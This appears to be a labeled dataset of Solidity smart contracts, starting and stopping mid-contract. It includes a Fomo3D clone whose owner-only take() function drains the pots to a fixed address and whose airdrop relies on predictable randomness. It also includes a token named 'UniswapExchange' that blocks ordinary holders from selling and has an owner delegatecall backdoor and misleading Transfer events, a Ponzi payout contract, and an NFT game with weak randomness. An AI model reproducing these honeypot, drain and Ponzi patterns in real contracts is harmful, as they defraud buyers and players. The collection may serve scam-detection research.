_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pIDxCount = pIDxCount + 1;
_pID = pIDxCount + 1;
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
specAddr.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
specAddr.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
specAddr.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function take()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can take"
);
if (round_[rID_].pot > 50 * 100000000)
specAddr.transfer(round_[rID_].pot.sub(50 * 100000000));
if (airDropPot_ > 50 * 100000000)
specAddr.transfer(airDropPot_.sub(50 * 100000000));
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 2,838 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 116 |
contract ResetPonzi {
struct Person {
address addr;
}
struct NiceGuy {
address addr2;
}
Person[] public persons;
NiceGuy[] public niceGuys;
uint public payoutIdx = 0;
uint public currentNiceGuyIdx = 0;
uint public investor = 0;
address public currentNiceGuy;
function ResetPonzi() {
currentNiceGuy = msg.sender;
}
function() {
enter();
}
function enter() {
if (msg.value != 9 ether) {
throw;
}
if (investor > 8) {
uint ngidx = niceGuys.length;
niceGuys.length += 1;
niceGuys[ngidx].addr2 = msg.sender;
if (investor == 10) {
currentNiceGuy = niceGuys[currentNiceGuyIdx].addr2;
currentNiceGuyIdx += 1;
}
}
if (investor < 9) {
uint idx = persons.length;
persons.length += 1;
persons[idx].addr = msg.sender;
}
investor += 1;
if (investor == 11) {
investor = 0;
}
if (idx != 0) {
currentNiceGuy.send(1 ether);
}
while (this.balance > 10 ether) {
persons[payoutIdx].addr.send(10 ether);
payoutIdx += 1;
}
}
} | 0 | 740 |
pragma solidity ^0.4.23;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
contract Random {
uint256 _seed;
function _rand() internal returns (uint256) {
_seed = uint256(keccak256(_seed, blockhash(block.number - 1), block.coinbase, block.difficulty));
return _seed;
}
function _randBySeed(uint256 _outSeed) internal view returns (uint256) {
return uint256(keccak256(_outSeed, blockhash(block.number - 1), block.coinbase, block.difficulty));
}
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
constructor() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
emit AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
}
contract ELHeroToken is ERC721,AccessAdmin{
struct Card {
uint16 protoId;
uint16 hero;
uint16 quality;
uint16 feature;
uint16 level;
uint16 attrExt1;
uint16 attrExt2;
}
Card[] public cardArray;
uint256 destroyCardCount;
mapping (uint256 => address) cardIdToOwner;
mapping (address => uint256[]) ownerToCardArray;
mapping (uint256 => uint256) cardIdToOwnerIndex;
mapping (uint256 => address) cardIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event CreateCard(address indexed owner, uint256 tokenId, uint16 protoId, uint16 hero, uint16 quality, uint16 createType);
event DeleteCard(address indexed owner, uint256 tokenId, uint16 deleteType);
event ChangeCard(address indexed owner, uint256 tokenId, uint16 changeType);
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= cardArray.length);
require(cardIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = cardIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == cardIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
constructor() public {
addrAdmin = msg.sender;
cardArray.length += 1;
}
function name() public pure returns(string) {
return "Ether League Hero Token";
}
function symbol() public pure returns(string) {
return "ELHT";
}
function balanceOf(address _owner) external view returns (uint256){
require(_owner != address(0));
return ownerToCardArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address){
return cardIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external whenNotPaused{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused isValidToken(_tokenId) canTransfer(_tokenId){
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external whenNotPaused{
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
cardIdToApprovals[_tokenId] = _approved;
emit Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external whenNotPaused{
operatorToApprovals[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return cardIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return cardArray.length - destroyCardCount - 1;
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) internal isValidToken(_tokenId) canTransfer(_tokenId){
address owner = cardIdToOwner[_tokenId];
